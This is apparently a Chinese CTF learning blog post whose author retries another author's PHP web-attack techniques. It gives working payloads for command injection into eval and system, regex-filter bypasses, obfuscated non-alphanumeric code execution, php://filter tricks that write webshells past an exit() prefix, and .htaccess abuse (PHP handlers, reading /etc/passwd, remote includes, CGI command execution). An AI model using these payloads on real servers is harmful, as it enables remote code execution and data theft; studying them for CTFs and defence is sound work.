读Boogipop新人同学

读Boogipop大佬文章的具体尝试

1.关于eval和system (只尝试了php7.3.4)

eval常规执行命令形如eval(system('whoami'););

当然不能直接这样运行,system('whoami');是传参进去的 (记得带;号)

#大佬给出的绕过技巧
eval(system('ls')?>)
eval(?><?php system('ls');?>)
eval(?><?php system('ls');?>;)
eval(?><?php system('ls');?><?)
eval(?><?php system('ls');?><?php;)

在拼接的情况下执行命令

eval()中的参数被拼接

eval('#'.$_GET['c']);
eval('asd'.$_GET['c']);
eval($_GET['c']."asd");
第一种: 注释考虑换行绕过      payload:?c=%0asystem('ls');
第二种: 考虑分割(; | &)      payload:?c=;system('ls');
第三种: 考虑注释后面内容      payload:?c=system('ls');//
                          payload:?c=system('ls');__HALT_COMPILER();

system()中的拼接

好像换行注释什么的都不行,只考虑命令拼接符

以下是个人尝试得出的结论,和网上的不同(有可能是windows环境的原因)(感觉我的都是歪理,其实有些地方也自相矛盾)

;   理论上做题应该是万能的,但在本地尝试的时候,一点作用都没有
|   只输出最后一个|后的命令,若前面有一个命令是错误的,则无法执行
||  只执行||前的命令,后面的命令错误不影响执行,若||前的命令是错误的,后面的仍无法执行,     若前面的命令是curl、net(可能是没有输出结果的指令),就能够执行||后面的语句

&   命令都正确时,都可以执行,后面的错了,前面的能执行,前面的错了,都不能执行
&&  命令都正确时,都可以执行,后面的错了,前面的能执行,前面的错了,都不能执行
system("ls -all ".$this->filename);     #DASCTF2023&0X401比赛题
system($_GET['file']."aksldj");
system("curl ".$_GET['url'].".dnslog.cn");
#由于;我无法尝试,此处不讨论;能否使用

第一个: 大佬payload: ;echo bHMgLwo|base64 -d|bash;    题目复现过,是可行的
第二个: ||  &  && 三个都能使用
第三个: 由于是curl,前面可以使用||(直接|也行),后面||  &  && 三个都能使用

data协议和input协议与include和highlight_file

data协议条件

  • allow_url_fopen:on
  • allow_url_include :on

input协议条件

  • allow_url_fopen:随便
  • allow_url_include :on

关于include能执行命令,我是模糊的,一直到2023SCTF的fumo_backdoor(与2022CISCN的考点相同),他们之间的区别是一个是include、一个是highlight_file(与题目的考点无关,但确实会对题目中的操作有影响),我在复现时看文章能写木马,但复现却不行,问了unknown师傅才知道,能执行代码完全靠的是include的函数,而highlight_file这类的就完全不行!

include能配合datainput伪协议进行命令执行,而highlight_file显示代码

<?php
if (isset($_GET['file'])){
    highlight_file($_GET['file']);
}
else{
    highlight_file(__file__);
}
if(isset($_GET['url'])){
    include($_GET['url']);
}
?>

image-20230901162551316

filter协议就不说了

Boogipop大佬总结

所谓的什么伪协议流,其实就是读取文件或者写入内容到文件,并且储存到变量里面
不要搞混了哦

preg_match误区

<?php
  $str=$_GET['b'];
if(preg_match('/^flag/i', $str)){
 echo 'yes';
}
?>

image-20230901170008293

image-20230901165657391

完了,为什么啊,与大佬结果不一样,(我测试了7.3.4和7.0.9和5.6.9三个版本都不回显)

m修饰符

image-20230901171700257

m是一定要搭配^或者$来使用的,匹配的是**每一行**的开头或结尾

if(preg_match('/^flag/im', $str)){

所以无法用%0a进行绕过

preg_match的绕过技巧

if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
    echo $flag;
}

?a=flag%0a

数组绕过

PCRE回溯次数限制绕过

一般是写脚本上传超过1000000的数据,就会被绕过

新了解的方法

.htaccess文件设置pcre回溯次数

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

将正则匹配的回溯次数设为0,来达到绕过的效果

限制次数绕过

preg_match('/[0-9a-zA-Z]{2}/',$p) === 1(匹配到两次)

每一个字符前加上单引号可以绕过preg_match的匹配:

payload:p='Z'm'x'h'Z'y'5'w'a'H'A'=

parse_str

image-20230901174857243

根据&解析变量

parse_str("a=1%26b=2%26c=3");     'a' => string '1&b=2&c=3'

parse_str("a=1&b=2&c=3");
'a' => string '1'
'b' => string '2'
'c' => string '3'

无参数RCE

取反、异或都需要php7的环境(确实好像php5用不了)

异或

大佬给出的异或脚本真好用,嘿嘿

取反

php取反很方便

<?php echo urlencode(~'phpinfo');?>

自增

[].[]返回ArrayArray _/_返回NAN

由此自增构造字符

$%DF=(_/_._)['!'=='_'];//NAN
$_=++$%DF;    //O
$%DE=_;     //_
$%DE.=++$_.$%DF;   //_P
$_++;   //Q
$_++;    //R
$%DE.=++$_;   //_POS
$%DE.=++$_;   //_POST
$$%DE[__]($$%DE[_]);  //$_POST[__]($_POST[_])
#Boogipop大佬自增的结果

%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
//$_GET['_']($_GET['__']);



//ASSERT($_POST[_]);   php小于7
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b

通配符

? *

缓存文件

/tmp/phpxxxxxx

<?php
$cmd = $_GET['cmd'];
eval($cmd);

文件上传后首先会保存为临时文件/tmp/phpxxxxxx

执行该文件

?cmd=?><?=`. /tmp/phpxxxxxx`

2023cnss新生赛

#door.php

<?=. /???/??????

在door.php路由下上传php文件

------WebKitFormBoundaryQe3H2A18XpuKlHGT
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

#!/bin/bash
ls
------WebKitFormBoundaryQe3H2A18XpuKlHGT
Content-Disposition: form-data; name="submit";

提交
------WebKitFormBoundaryQe3H2A18XpuKlHGT--

pathinfo()漏洞

/获取文件名,根据.获取文件后缀

1.php/.

image-20230901212548383

parse_url解析漏洞

php parse_url
最后一个@后的为host

libcurl
第一个@后的host

http://u:p@a.com:80@b.com/

php解析结果:
    schema: http 
    host: b.com
    user: u
    pass: p@a.com:80
libcurl解析结果:
    schema: http
    host: a.com
    user: u
    pass: p
    port: 80
    后面的@b.com/会被忽略掉

文件上传

finfo_open (检查文件头,十六进制第一行信息)

修改后缀不起作用

finfo_open的参数   控制返回结果

FILEINFO_NONE (integer)
无特殊处理。
FILEINFO_SYMLINK (integer)
跟随符号链接。
FILEINFO_MIME_TYPE (integer)
返回 mime 类型。 自 PHP 5.3.0 可用。
FILEINFO_MIME_ENCODING (integer)
返回文件的 mime 编码。 自 PHP 5.3.0 可用。
FILEINFO_MIME (integer)
按照 RFC 2045 定义的格式返回文件 mime 类型和编码。
FILEINFO_COMPRESS (integer)
解压缩压缩文件。 由于线程安全问题,自 PHP 5.3.0 禁用。
FILEINFO_DEVICES (integer)
查看设备的块内容或字符。
FILEINFO_CONTINUE (integer)
返回全部匹配的类型。
FILEINFO_PRESERVE_ATIME (integer)
如果可以的话,尽可能保持原始的访问时间。
FILEINFO_RAW (integer)
对于不可打印字符不转换成 \ooo 八进制表示格式。
FILEINFO_EXTENSION (integer)
根据 MIME 类型返回适当的文件扩展名。 有的文件类型具有多种扩展名,例如 JPEG 将会返回多个扩展名, 以斜杠分隔,比如 "jpeg/jpg/jpe/jfif"。 如果在 magic.mime 数据库里类型未知,则返回的是 "???"。 PHP 7.2.0 起有效。

finfo_file()返回finfo_open设置的参数对应的信息

Getimagesize(检测文件头,读取文件的前八位的十六进制)

返回文件大小和文件类型

上传只有第一行文件头的图片

finfo_open识别为了png图片,但是getimagesize函数并没有识别成功 (给新生上强度)

image-20230901220715920

往图片第二行随便加东西

image-20230901220818065

image-20230901220943156

成功识别

exif_imagetype (GIF89a应该是用来饶过他的)

只是返回数字(数组中的索引)

1	IMAGETYPE_GIF
2	IMAGETYPE_JPEG
3	IMAGETYPE_PNG
4	IMAGETYPE_SWF
5	IMAGETYPE_PSD
6	IMAGETYPE_BMP
7	IMAGETYPE_TIFF_II(Intel 字节顺序)
8	IMAGETYPE_TIFF_MM(Motorola 字节顺序)
9	IMAGETYPE_JPC
10	IMAGETYPE_JP2
11	IMAGETYPE_JPX
12	IMAGETYPE_JB2
13	IMAGETYPE_SWC
14	IMAGETYPE_IFF
15	IMAGETYPE_WBMP
16	IMAGETYPE_XBM

死亡代码

<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
?>

建议看看Boogipop大佬的文章,讲的很好

常规的我就不写了,写一下我没见过的

php7先压缩再解压(测试有问题)

<?php
$filename='php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=a.php';
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
?>

大佬的示例

image-20230902065000143

我的示例(php7.3.4和7.1.9都不行)

image-20230902065554692

呜呜,又与大佬不一样了

死亡代码变种

<?php
$content=$_GET['content'];
file_put_contents($content,"<?php exit();".$content);
?>
#插入无关代码在filename处正常解析
php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=s1mple.php

#当文件名
php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

和大佬说的一样,使用上述两个代码都只能创建文件,无法生成内容

原因

写入的内容拼接起来是<?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

都知道=在base64中的作用是填充,也就是以为着结束;在=的后面是不允许有任何其他字符的否则会报错,有的解码程序会自动忽略后面的字符从而正常解码,其实实际上还是有问题的

PD9waHAgcGhwaW5mbygpOz8+.php作为=后的内容,会被忽略或使解码失败

解决办法(1)

嵌套过滤器 string.strip.tags|convert.base64-decode

初代payload: php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php

只能说实在是妙啊

创建?>PD9waHAgcGhwaW5mbygpOz8+文件,内容拼接起来是<?php exit();php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php

先去除标签,就只剩下PD9waHAgcGhwaW5mbygpOz8%2B.php然后再进行base64-decode

实操发现会报错。。。。。

image-20230902073626707

我在想是不是要先创建文件,当创建文件时,我悟了,windows的文件命名不能有?>等字符,只能在linux环境中尝试(难怪大佬的图使用linux),既然如此,我也复现不了了,没有环境,还不会docker启环境

然后就能生成文件,但在访问的时候,大佬发现文件名有问题,会出现访问不到的情况,原因是引号

image-20230902074746052

我们看到生成的文件是带有引号的,正常的文件是不带有的

大佬这里使用伪目录的方法

最终payload:php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php

作为内容时,剩下的PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php仍可以被解析

作为文件名时,php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B被当作一个目录(虽然不存在),然后../又回到了本来的目录,于是生成s1mple.php

我把过滤器去掉尝试后发现确实可以生成s1mple.php

image-20230902075804794

大佬看到的一篇错误博客(原来我的想法和那博客一样是错误的)

payload:php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php

博客的说法

他的意思是代码粘起来:<?php exit();php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php之后
strip_tags去除内容后为:<?php exit();PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php

(我的错误理解是留下<?php exit();php://filter/PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php

。。。好像错的更加彻底

真实情况(也是Boogipop大佬的理解)

测试代码

<?php
$filename='php://filter/string.strip_tags|convert.base64-decode/resource=a.php';
$content='?>PD9waHAgcGhwaW5mbygpOz8+';
file_put_contents($filename,"<?php exit()<?;".$content);
highlight_file("a.php");
?>

拼接后是<?php exit()<?;?>PD9waHAgcGhwaW5mbygpOz8+

真实情况,只剩base64代码,然后base64解密

image-20230902085745201

所以string.strip_tags不是只会去除<?;?>中间的内容,那是错误的观念

解决办法(2)rot13 (windows本地测试不通过)

这个就方便多了,不会受到=的限制

php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php

测试情况

image-20230903103600057

生气,不管是正常的死亡代码还是这个变种,rot13都会报这个错误

解决办法(3) convert.iconv

iconv拥有很多字符编码,利用convert.iconv 进行字符编码转化,这个涉及到filterchain的构造,内容挺多,这就只讲Boogipop大佬提及的

usc-2

每两个字符进行翻转 (一定要是偶数、否则报错)

image-20230903111013076

php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php;

usc-4

就是4位一反转 (同理,需要4的倍数)

image-20230903111239338

php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php

utf-8到utf-7的转化

=会被转化为+AD0-filterchain构造需要)

php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=a.php

windows没有iconv,但是我是能成功写入内容的(不太理解)

image-20230903112719444

image-20230903112735404

死亡代码变种(二)

file_put_contents($filename, $content . "\nxxxxxx");

因为php有特殊的起始符和结束符,所以出题时一般会被禁用php

常见考点是利用.htaccess.htaccess文件对其文件内容的格式很敏感,如果有杂糅的字符,就会出现错误,导致我们无法进行操作,所以这里我们必须采用注释符将杂糅的代码进行注释,然后才可以正常访问;

对于换行符我们直接进行 \ 注释(应该是转义的意思),#注释杂糅的内容

`#`一般放在行首,并且只能注释一行

php_value%20auto_prepend_file%20文件地址%0a%23\

image-20230903114418114

Boogipop大佬参考的文章的作者的其他方法

https://www.cnblogs.com/Wanghaoran-s1mple/p/13152075.html

https://www.cnblogs.com/Wanghaoran-s1mple/p/13232888.html

.htaccess文件

.htaccess 中有 # 单行注释符, 且支持 \拼接上下两行。

子目录中的.htaccess指令会覆盖父目录或者主配置文件中的.htaccess指令

apache2.conf AllowOverride All #启动.htaccess文件的使用
也可以将 .htaccess 修改为其他名AccessFileName .config #将.htaccess修改为.config

SetHandler

SetHandler application/x-httpd-php
此时当前目录及其子目录下所有文件都会被当做 php 解析(上传jpg文件但内容为一句话木马,也会被成功解析)
SetHandler server-status
这是查看apache的服务器信息的

image-20230903115244293

AddHandler,AddType

AddType application/x-httpd-php .htm
#.htm后缀的文件视为php文件执行

AddHandler cgi-script .aaa
#后缀名为.aaa的文件视为cgi脚本执行

AddType application/x-httpd-php png jpg gif
#将png,jpg,gif后缀名都视为php执行

php_value

当使用PHP作为Apache模块时,也可以用Apache的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride OptionsAllowOverride All 权限才可以。

.htaccess只能用于 PHP_INI_ALLPHP_INI_PERDIR 类型的指令。

  1. auto_prepend_file:在主文件解析之前自动解析包含的文件
  2. auto_append_file:在主文件解析后自动解析包含的文件

如:php_value auto_prepend_file 1.jpg #每次访问一个php文件,都会先解析1.jpg图片,如果里面有代码就会执行

php_flag (控制开关)

image-20230903120640554

将其中的engine设为0可以关闭php解析从而达到源码泄露的目的

(这里源码泄露的意思是)因为像<?php phpinfo();?>这样的php代码一般会被解析而无法显现,这里关闭解析,于是代码就会显示

如:php_flag engine off

注释

#一般放在行首,并且只能注释一行

多行注释 #%0a

php_value auto_prepend_fi\
le 1.png
# this is 注释

里面的\并不只是单单的\,他实际上是\%0a、,转义了换行符

利用这种技巧用#\%0a来多行注释

利用方式

解析文件

# 将test.gif 当做 PHP 执行   
<FilesMatch  "test.gif">
SetHandler  application/x-httpd-php
</FilesMatch>
# 将 .png 当做 PHP 文件解析
AddType application/x-httpd-php .png

文件包含

php_value auto_prepend_file /etc/passwd

访问php文件时会先打开/etc/passwd (/etc/passwd的内容在php文件内容前)

auto_append_file同理 (内容在php文件内容之后)

远程文件包含

PHP 的all_url_include配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为all_url_include的配置范围为 PHP_INI_SYSTEM,所以无法利用php_flag.htaccess中开启

php_value auto_append_file http://10.87.9.156/phpinfo.txt

image-20230903122210912

太神奇了

信息泄露

php_flag engine 0

在谷歌浏览器访问会显示源码,用其他浏览器访问会显示空白,还需查看源码,才可看到泄露的源码

image-20230903122346792

伪协议

条件:all_url_fopen=on,all_url_include=on

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

解析.htaccess

php_value auto_append_file .htaccess
#<?php phpinfo();?>

<?php phpinfo();?>会被解析

这种方法在我们随便打开一个PHP文件后就会去解析.htaccess文件(这里的htaccess文件一定要和php文件在一个目录下!!!!)

image-20230903122707190

这种适合同目录或子目录没有php文件。
需要先设置允许可访问 .htaccess 文件

<Files ~ "^.ht">
 Require all granted
 Order allow,deny
 Allow from all
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

上面的代码必须加,是允许访问htaccess文件

命令执行

cgi

cgi_module 需要加载,即 apache 配置文件中有

LoadModule cgi_module modules/mod_cgi.so

.htaccess内容

Options ExecCGI #允许CGI执行
AddHandler cgi-script .xx #将xx后缀名的文件,当做CGI程序进行解析

ce.xx

#!C:/Windows/System32/cmd.exe /k start calc.exe
6

image-20230903123655129

fastcgi (百闻不如一见)

mod_fcgid.so需要被加载。即 apache 配置文件中有

LoadModule fcgid_module modules/mod_fcgid.so

.htaccess

Options +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xx

ce.xx 内容随意 (所以叫fast)

自定义错误文件 (不太理解)

error.php

<?php include('shell');#报错页面

.htaccess

php_value error_log /tmp/www/html/shell.php 
php_value include_path "<?php phpinfo(); __halt_compiler();"

image-20230903124241964

会经过 html 编码,所以需要 UTF-7 来绕过。

# 第一次
php_value error_log /tmp/shell #定义错误路径
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"

# 第二次
php_value include_path "/tmp" #将include()的默认路径改变
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

X-NUCA-ezphp

session.serialize_handler(三种引擎)

php(默认的)	键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary	   键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4)	经过 serialize() 函数反序列处理的数组

image-20230903144909405

image-20230903144926904

image-20230903144942736

当一个服务器(session文件和PHPSESSID相同),的两个页面使用不同处理器就会存在phpsession反序列化漏洞

利用session_upload_progress进行文件包含***

挺重要的一个考点

原理看过很多次,但感觉要是遇到的话还是很迷茫,找不到题目,实际操作一次就会很清醒了)

这个似懂非懂就不写了

但真的非常重要


读Boogipop新人同学
https://zer0peach.github.io/2023/09/01/读Boogipop新人同学/
作者
Zer0peach
发布于
2023年9月1日
许可协议